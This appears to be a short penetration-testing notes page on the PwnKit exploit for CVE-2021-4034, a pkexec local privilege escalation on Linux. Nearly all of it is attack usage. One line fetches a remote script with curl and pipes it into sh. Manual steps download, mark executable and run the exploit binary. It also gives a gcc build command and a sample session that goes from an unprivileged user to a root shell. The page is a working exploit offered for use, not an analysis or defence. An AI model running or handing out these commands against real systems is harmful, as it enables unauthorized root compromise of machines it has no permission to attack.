CVE-2021-4034
Pkexec Local Privilege Escalation
Section titled “Pkexec Local Privilege Escalation”Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
Manually
Section titled “Manually”curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command
Patched
Section titled “Patched”Running the exploit against patched versions will yield the following output.

Building Pwnkit
Section titled “Building Pwnkit”gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPICPre-built below:
{{%resources fa_icon_class=“far fa-file-pdf” pattern=“PwnKit”/%}}
Examples
Section titled “Examples”unpriv_user@host:~$ id
uid=1338(unpriv_user) gid=1338(unpriv_user) groups=1338(unpriv_user)
unpriv_user@host:~$ ./PwnKit
root@host:~# id
uid=0(root) gid=0(root) groups=0(root),1338(unpriv_user)